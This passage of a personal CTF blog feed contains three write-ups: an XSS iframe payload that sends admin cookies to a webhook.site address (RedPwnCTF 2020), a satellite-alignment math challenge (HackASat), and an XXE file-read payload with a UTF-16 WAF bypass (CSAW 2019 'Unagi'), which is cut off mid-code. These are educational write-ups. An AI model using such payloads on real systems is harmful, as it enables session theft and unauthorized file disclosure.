<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">iframe</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;javascript:alert(&#39;Hello&#39;)&#34;</span>&gt;&lt;/<span style="color:#f92672">iframe</span>&gt;
</span></span></code></pre></div><p>This prompts an alert. <code>&lt;iframe&gt;</code> elements can be used to smuggle our xss payload.</p>

    <img src="/images/REDPWN2020_StaticV2Alert.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>Use this payload to send a GET request to your server that steals admin cookies:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">iframe</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;javascript:document.location=&#39;https://webhook.site/31b4faf3-e6e6-44af-9d7d-196e18bcaed4?data=&#39;+document.cookie&#34;</span>&gt;&lt;/<span style="color:#f92672">iframe</span>&gt;
</span></span></code></pre></div><p>Report the created page to the admin. Wait for it to ping your server.</p>

    <img src="/images/REDPWN2020_StaticV2Flag.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<h2 id="summary">Summary</h2>
<p>The collection of problems I showcased here were good opportunities to reinforce my websploit skills! They all involved classic forms of attacks which is common to see in most, if not all, CTFs. I will soon discuss the more unique and creative problems I saw in RedPwnCTF 2020!</p>
<p>Jam</p>
]]></content>
        </item>
        
        <item>
            <title>2020 HackASat Quals</title>
            <link>https://jamvie.net/posts/2020/06/2020-hackasat-quals/</link>
            <pubDate>Wed, 03 Jun 2020 21:47:00 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/06/2020-hackasat-quals/</guid>
            <description>I participated in HackASat Quals with my team earlier in May. This was a unique CTF, as it had a category of astrodynamic mathematical problems that pertained to the geometry of earth-orbiting objects. I love math, so I actually quite enjoyed this category! 2 teammates and I collaborated together to solve a specific problem known as &amp;ldquo;I Like to Watch.&amp;rdquo; I also went through it myself and am going to discuss my solution to it.</description>
            <content type="html"><![CDATA[<p>I participated in <a href="https://www.hackasat.com/">HackASat Quals</a> with my team earlier in May. This was a unique CTF, as it had a category of astrodynamic mathematical problems that pertained to the geometry of earth-orbiting objects. I love math, so I actually quite enjoyed this category! 2 teammates and I collaborated together to solve a specific problem known as &ldquo;I Like to Watch.&rdquo; I also went through it myself and am going to discuss my solution to it.</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<p>The challenge states that we must realign a satellite (simulated via Google Earth) to its exact position and orientation as it was reported at a specific time.</p>

    <img src="/images/HackASatDescription.jpg"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>Additionally, the challenge supplies us with a KML file - files tailored for Google Earth to communicate location data, with similarities to XML documents.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;kml</span> <span style="color:#a6e22e">xmlns=</span><span style="color:#e6db74">&#34;http://www.opengis.net/kml/2.2&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;Folder&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;name&gt;</span>HackASatCompetition<span style="color:#f92672">&lt;/name&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;visibility&gt;</span>0<span style="color:#f92672">&lt;/visibility&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;open&gt;</span>0<span style="color:#f92672">&lt;/open&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;description&gt;</span>HackASatComp1<span style="color:#f92672">&lt;/description&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;NetworkLink&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;name&gt;</span>View Centered Placemark<span style="color:#f92672">&lt;/name&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;visibility&gt;</span>0<span style="color:#f92672">&lt;/visibility&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;open&gt;</span>0<span style="color:#f92672">&lt;/open&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;description&gt;</span>This is where the satellite was located when we saw it.<span style="color:#f92672">&lt;/description&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;refreshVisibility&gt;</span>0<span style="color:#f92672">&lt;/refreshVisibility&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;flyToView&gt;</span>0<span style="color:#f92672">&lt;/flyToView&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;LookAt</span> <span style="color:#a6e22e">id=</span><span style="color:#e6db74">&#34;ID&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">&lt;!-- specific to LookAt --&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;longitude&gt;</span>-FILL ME IN<span style="color:#f92672">&lt;/longitude&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;latitude&gt;</span>FILL ME IN<span style="color:#f92672">&lt;/latitude&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;altitude&gt;</span>FILL ME IN<span style="color:#f92672">&lt;/altitude&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;heading&gt;</span>FILL ME IN<span style="color:#f92672">&lt;/heading&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;tilt&gt;</span>FILL ME IN<span style="color:#f92672">&lt;/tilt&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;range&gt;</span>FILL ME IN<span style="color:#f92672">&lt;/range&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;gx:altitudeMode&gt;</span>relativeToSeaFloor<span style="color:#f92672">&lt;/gx:altitudeMode&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;/LookAt&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;Link&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;href&gt;</span>http://18.191.77.141:31110/cgi-bin/HSCKML.py<span style="color:#f92672">&lt;/href&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;refreshInterval&gt;</span>1<span style="color:#f92672">&lt;/refreshInterval&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;viewRefreshMode&gt;</span>onStop<span style="color:#f92672">&lt;/viewRefreshMode&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;viewRefreshTime&gt;</span>1<span style="color:#f92672">&lt;/viewRefreshTime&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;viewFormat&gt;</span>BBOX=[bboxWest],[bboxSouth],[bboxEast],[bboxNorth];CAMERA=[lookatLon],[lookatLat],[lookatRange],[lookatTilt],[lookatHeading];VIEW=[horizFov],[vertFov],[horizPixels],[vertPixels],[terrainEnabled]<span style="color:#f92672">&lt;/viewFormat&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;/Link&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;/NetworkLink&gt;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;/Folder&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/kml&gt;</span>
</span></span></code></pre></div><p>From the netcat connection, the coordinates of the satellite are given to us in <a href="https://en.wikipedia.org/wiki/Two-line_element_set">TLE format</a>. I saved the TLE data in a text file (TLE.txt) for later use. In order to draw out meaningful values from it, you need to parse it. While you can do so manually, I opted to use a script that utilizes <a href="https://pyorbital.readthedocs.io/en/latest/#">pyOrbital</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> pyorbital.orbital <span style="color:#f92672">import</span> Orbital
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pyorbital <span style="color:#f92672">import</span> tlefile
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> datetime <span style="color:#f92672">import</span> datetime
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>tle_object_name <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;ISS (ZARYA)&#34;</span>
</span></span><span style="display:flex;"><span>sat <span style="color:#f92672">=</span> tlefile<span style="color:#f92672">.</span>read(tle_object_name, <span style="color:#e6db74">&#39;TLE.txt&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">##8:53:03 pm on March 26, 2020 according to the netcat information</span>
</span></span><span style="display:flex;"><span>time <span style="color:#f92672">=</span> datetime(<span style="color:#ae81ff">2020</span>, <span style="color:#ae81ff">3</span>, <span style="color:#ae81ff">26</span>, <span style="color:#ae81ff">21</span>, <span style="color:#ae81ff">53</span>, <span style="color:#ae81ff">3</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>satLon, satLat, satAlt <span style="color:#f92672">=</span> sat<span style="color:#f92672">.</span>get_lonlatalt(time)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print <span style="color:#e6db74">&#34;Satellite Lat</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">, Lon</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">, Alt</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>format(satLat, satLon, satAlt)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span>
</span></span></code></pre></div><pre tabindex="0"><code>Satellite Lat{36.946888888888886}, Lon{-80.94308333333333}, Alt{419158.46875}
</code></pre><p>Parsing the TLE format gives us the satellite&rsquo;s location in latitude and longitude, alongside several other key info. The challenge&rsquo;s description asks us to arrange the satellite&rsquo;s (Google Earth) camera in the exact same position as it was, facing the Washington Monument, with very little room for error. We must essentially recreate the orientation of the satellite at its given position at the given time. Since we&rsquo;re using Google Earth, the given KML file will help us manipulate the orientation of the virtual camera.</p>
<p>In the KML file, we are given a specific tag known as <code>&lt;LookAt&gt;</code>. Some research into the KML documentation reveals that the <code>&lt;LookAt&gt;</code> tag changes the object that the camera is focused on. It can function similarly to another attribute known as <code>&lt;Camera&gt;</code>, which changes the actual camera position. Both tags can be used to try and position our satellite to perfectly align to the Washington Monument, but the <code>&lt;Camera&gt;</code> tag deals with less sub-attributes rather than <code>&lt;Lookat&gt;</code>. In this solution, I opted to use the <code>&lt;Camera&gt;</code> tag, however, the initial solve my team did the <code>&lt;LookAt&gt;</code> tag.</p>
<h2 id="the-camera-tag">The Camera Tag</h2>
<p><code>&lt;Camera&gt;</code> has 7 sub-attributes(excluding altitudeMode), of which we only need to focus on all but the last:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#f92672">&lt;Camera</span> <span style="color:#a6e22e">id=</span><span style="color:#e6db74">&#34;ID&#34;</span><span style="color:#f92672">&gt;</span>    
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;longitude&gt;</span>0<span style="color:#f92672">&lt;/longitude&gt;</span>          <span style="color:#75715e">&lt;!-- kml:angle180 --&gt;</span>     
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;latitude&gt;</span>0<span style="color:#f92672">&lt;/latitude&gt;</span>            <span style="color:#75715e">&lt;!-- kml:angle90 --&gt;</span>    
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;altitude&gt;</span>0<span style="color:#f92672">&lt;/altitude&gt;</span>            <span style="color:#75715e">&lt;!-- double --&gt;</span>    
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;heading&gt;</span>0<span style="color:#f92672">&lt;/heading&gt;</span>              <span style="color:#75715e">&lt;!-- kml:angle360 --&gt;</span>    
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;tilt&gt;</span>0<span style="color:#f92672">&lt;/tilt&gt;</span>                    <span style="color:#75715e">&lt;!-- kml:anglepos180 --&gt;</span>    
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;roll&gt;</span>0<span style="color:#f92672">&lt;/roll&gt;</span>                    <span style="color:#75715e">&lt;!-- kml:angle180 --&gt;</span>    
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;altitudeMode&gt;</span>clampToGround<span style="color:#f92672">&lt;/altitudeMode&gt;</span>
</span></span><span style="display:flex;"><span>       <span style="color:#75715e">&lt;!-- kml:altitudeModeEnum: relativeToGround, clampToGround, or absolute --&gt;</span>  
</span></span><span style="display:flex;"><span>       <span style="color:#75715e">&lt;!-- or, gx:altitudeMode can be substituted: clampToSeaFloor, relativeToSeaFloor --&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/Camera&gt;</span> 
</span></span></code></pre></div><p>The first three (longitude, latitude and altitude) we can parse from the TLE data from above. However, for heading and tilt - we would need to do some math.</p>
<p>The heading, also known as the azimuth direction, of an earth-orbiting object is the angle from it&rsquo;s absolute ground-level position to the north pole. It is a method to orient oneself to face the object relative to a standardized direction (North/South) on earth. The azimuth is an angle between 0-360 degrees.</p>
<p>We want to determine the azimuth of our satellite at 10:53pm on March 20, 2020. We can use the methods within pyOrbital to calculate the elevation and heading of our satellite. While, again, this can be done manually, keep in mind that we are computing an object relative to Earth and thus must account for the curvature of our planet - we need to acknowledge our geometry being non-Euclidean. This serves several problems for manual computation or utilizing a machine to calculate equations which do not take this into account.</p>
<p>In my computations, I wanted to calculate the azimuth of the satellite relative to an observer - as in, a target on the ground looking at the satellite. In this case, the challenge wants us to focus the satellite camera on the Washington Monument, so we will have the landmark be our observer.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Part 2 of our script.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Washington Monument lon, lat and alt values.</span>
</span></span><span style="display:flex;"><span>WaLon <span style="color:#f92672">=</span> <span style="color:#ae81ff">38.8895</span>
</span></span><span style="display:flex;"><span>WaLat <span style="color:#f92672">=</span> <span style="color:#ae81ff">77.0353</span>
</span></span><span style="display:flex;"><span>WaAlt <span style="color:#f92672">=</span> <span style="color:#ae81ff">169</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>azi <span style="color:#f92672">=</span> sat<span style="color:#f92672">.</span>get_observer_look(utc_time<span style="color:#f92672">=</span>time, lon<span style="color:#f92672">=</span>WaLon lat<span style="color:#f92672">=</span>WaLat, alt<span style="color:#f92672">=</span>WaAlt)
</span></span><span style="display:flex;"><span>	print(<span style="color:#e6db74">&#34;&#34;</span>)
</span></span><span style="display:flex;"><span>	print(<span style="color:#e6db74">&#34;Azimuth:	&#34;</span>, azi)
</span></span></code></pre></div><p>The tilt is the rotation of the satellite on the X-axis. Because the satellite would theoretically be looking at an overhead angle towards the monument, I did some manual guessing and checking manipulation to see if I could get the correct value. I&rsquo;m sure theres a better, more efficient way of doing this, but I digress :P.</p>
<p>Now, when we plug in all our values into the sample KML file they provided for us, we should appear at the same location the satellite was at, with the camera turned towards the Washington Monument in the exact same orientation and positioning as the satellite was at the given time.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;kml</span> <span style="color:#a6e22e">xmlns=</span><span style="color:#e6db74">&#34;http://www.opengis.net/kml/2.2&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;Folder&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;name&gt;</span>HackASatCompetition<span style="color:#f92672">&lt;/name&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;visibility&gt;</span>0<span style="color:#f92672">&lt;/visibility&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;open&gt;</span>0<span style="color:#f92672">&lt;/open&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;description&gt;</span>HackASatComp1<span style="color:#f92672">&lt;/description&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;NetworkLink&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;name&gt;</span>View Centered Placemark<span style="color:#f92672">&lt;/name&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;visibility&gt;</span>0<span style="color:#f92672">&lt;/visibility&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;open&gt;</span>0<span style="color:#f92672">&lt;/open&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;description&gt;</span>This is where the satellite was located when we saw it.<span style="color:#f92672">&lt;/description&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;refreshVisibility&gt;</span>0<span style="color:#f92672">&lt;/refreshVisibility&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;flyToView&gt;</span>0<span style="color:#f92672">&lt;/flyToView&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;Camera</span> <span style="color:#a6e22e">id=</span><span style="color:#e6db74">&#34;ID&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">&lt;!-- We input our values here --&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;longitude&gt;</span>-80.94308333333333<span style="color:#f92672">&lt;/longitude&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;latitude&gt;</span>36.946888888888886<span style="color:#f92672">&lt;/latitude&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;altitude&gt;</span>19158.46875<span style="color:#f92672">&lt;/altitude&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;heading&gt;</span>57.889<span style="color:#f92672">&lt;/heading&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;tilt&gt;</span>44.886<span style="color:#f92672">&lt;/tilt&gt;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#f92672">&lt;gx:altitudeMode&gt;</span>relativeToSeaFloor<span style="color:#f92672">&lt;/gx:altitudeMode&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;/Camera&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;Link&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;href&gt;</span>http://18.191.77.141:31110/cgi-bin/HSCKML.py<span style="color:#f92672">&lt;/href&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;refreshInterval&gt;</span>1<span style="color:#f92672">&lt;/refreshInterval&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;viewRefreshMode&gt;</span>onStop<span style="color:#f92672">&lt;/viewRefreshMode&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;viewRefreshTime&gt;</span>1<span style="color:#f92672">&lt;/viewRefreshTime&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;viewFormat&gt;</span>BBOX=[bboxWest],[bboxSouth],[bboxEast],[bboxNorth];CAMERA=[lookatLon],[lookatLat],[lookatRange],[lookatTilt],[lookatHeading];VIEW=[horizFov],[vertFov],[horizPixels],[vertPixels],[terrainEnabled]<span style="color:#f92672">&lt;/viewFormat&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;/Link&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;/NetworkLink&gt;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&lt;/Folder&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/kml&gt;</span>
</span></span></code></pre></div><p>Doing so in Google Earth, the link that we specified in the KML file refers to the server to check our values against theres, and we are rewarded with a (randomized) flag once we have aligned the satellite back to its exact position on March 20 :)</p>

    <img src="/images/GoogleEarthPic.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>This was less a &ldquo;hacking&rdquo; challenge and more a mathematics one. I&rsquo;m always down to learn more about the world of math, and hopefully I can expand my blog to talk about the unique things I come across in the world of complex mathematics!</p>
<p>Jam</p>
]]></content>
        </item>
        
        <item>
            <title>CSAW 2019: Unagi</title>
            <link>https://jamvie.net/posts/2020/05/csaw-2019-unagi/</link>
            <pubDate>Thu, 21 May 2020 01:22:16 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/05/csaw-2019-unagi/</guid>
            <description>Back in 2019 I really got into CTFs as a matter of honing my security skills. They were fun to do and enriched my knowledge of cybersecurity - so I got into it pretty quickly.
This was among the first of the challenges I did while under my team, Maple Bacon. At the time, I had plenty experience with SQL injections and XSS attacks, but not nearly enough experience with another common vulnerability: XXE attacks.</description>
            <content type="html"><![CDATA[<p>Back in 2019 I really got into CTFs as a matter of honing my security skills. They were fun to do and enriched my knowledge of cybersecurity - so I got into it pretty quickly.</p>
<p>This was among the first of the challenges I did while under my team, Maple Bacon. At the time, I had plenty experience with SQL injections and XSS attacks, but not nearly enough experience with another common vulnerability: XXE attacks. CSAW 2019 sought to change that.</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<p><em>Note: Unfortunately, I do not have screenshots as I partcipated in this CTF long before I realized I wanted to document my progress with them.</em></p>
<p>The challenge was called &ldquo;Unagi&rdquo;. Several options were shown: <code>home</code>, <code>users</code>, <code>about</code> and <code>upload</code>. <code>about</code> simply said <code>flag is at /flag.txt, come get it</code></p>
<p>It was a website with users Alice and Bob displayed, with their emails, group, and intro. There was an <code>upload</code> endpoint that allowed you to upload XML documents to create a new user. And they also had a sample xml file, how nice!</p>
<pre tabindex="0"><code>name: Alice
email: alice@fakesite.com
group: CSAW2019
intro: Alice is cool

name: Bob
email: bob@fakesite.com
group: CSAW2019
intro: Bob is cool too
</code></pre><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#39;1.0&#39;?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;users&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;user&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;username&gt;</span>alice<span style="color:#f92672">&lt;/username&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;password&gt;</span>passwd1<span style="color:#f92672">&lt;/password&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;name&gt;</span>Alice<span style="color:#f92672">&lt;/name&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;email&gt;</span>alice@fakesite.com<span style="color:#f92672">&lt;/email&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;group&gt;</span>CSAW2019<span style="color:#f92672">&lt;/group&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;/user&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;user&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;username&gt;</span>bob<span style="color:#f92672">&lt;/username&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;password&gt;</span>passwd2<span style="color:#f92672">&lt;/password&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;name&gt;</span> Bob<span style="color:#f92672">&lt;/name&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;email&gt;</span>bob@fakesite.com<span style="color:#f92672">&lt;/email&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;group&gt;</span>CSAW2019<span style="color:#f92672">&lt;/group&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;/user&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/users&gt;</span>
</span></span></code></pre></div><p>This challenge has taught me one thing: where there is XML, there is XXE injection. Researching for hours about XML vulnerabilities all point to XXE injections being <strong>the</strong> attack to do, so I crafted a pretty classic XXE payload and put it in my file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE foo [
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">	&lt;!ENTITY xxe SYSTEM &#34;file:////flag.txt&#34; &gt;</span>
</span></span><span style="display:flex;"><span>]&gt;    
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;users&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;user&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;username&gt;</span>Jam<span style="color:#f92672">&lt;/username&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;password&gt;</span>wordpass<span style="color:#f92672">&lt;/password&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;name&gt;</span>Jam<span style="color:#f92672">&lt;/name&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;email&gt;</span>jam@jelly.com<span style="color:#f92672">&lt;/email&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;group&gt;</span>&amp;xxe;<span style="color:#f92672">&lt;/group&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;/user&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/users&gt;</span>
</span></span></code></pre></div><p>But the WAF will reject the file. I sort of just&hellip; aimlessly searched the internet for a fix, dismayed to find a bunch of php workarounds, as this was during a time where I definitely wasn&rsquo;t confident with my skills in php, and so I sort of stagnated at this point&hellip;</p>
<p>&hellip;Until I got curious about the encoding declaration. Standardly, encodings are UTF-8 around the board, but encoding UTF-16 exists - and what would happen if I changed the XML encoding from UTF-8 to UTF-16? This led me down to researching about using <a href="https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0/">different encodings to bypass WAF filters</a>:</p>
<blockquote>
<p>An XML document can be encoded not only in UTF-8, but also in UTF-16 (two variants — BE and LE), in UTF-32 (four variants — BE, LE, 2143, 3412), and in EBCDIC&hellip;</p>
</blockquote>
<blockquote>
<p>&hellip;Exotic encodings may also be used to bypass diligent WAFs as they are not always able to process all the encodings listed above. For instance, the libxml2 parser only supports one type of UTF-32 — UTF-32BE, specifically without BOM.</p>
</blockquote>
<p>For this issue in particular, UTF-8 and UTF-16 differ in their ways of encoding a sequence of chars. UTF-8&rsquo;s character encodings are 1-4 bytes, while UTF-16&rsquo;s are 2-4. What this challenge&rsquo;s WAF does is look at the byte encoding of a character and match it with whatever blacklist it has. But naturally, UTF-8&rsquo;s character encodings are going to be vastly different from UTF-16&rsquo;s, since there is at least 1 byte of a difference. So when the WAF looks at UTF-16 encodings, it won&rsquo;t be able to detect the malicious characters that is differently encoded in 2 bytes, and assumes the file is clean.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-16BE&#34;?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE foo [
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">	&lt;!ENTITY xxe SYSTEM &#34;file:////flag.txt&#34; &gt;</span>
</span></span><span style="display:flex;"><span>]&gt;    
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;users&gt;</span>
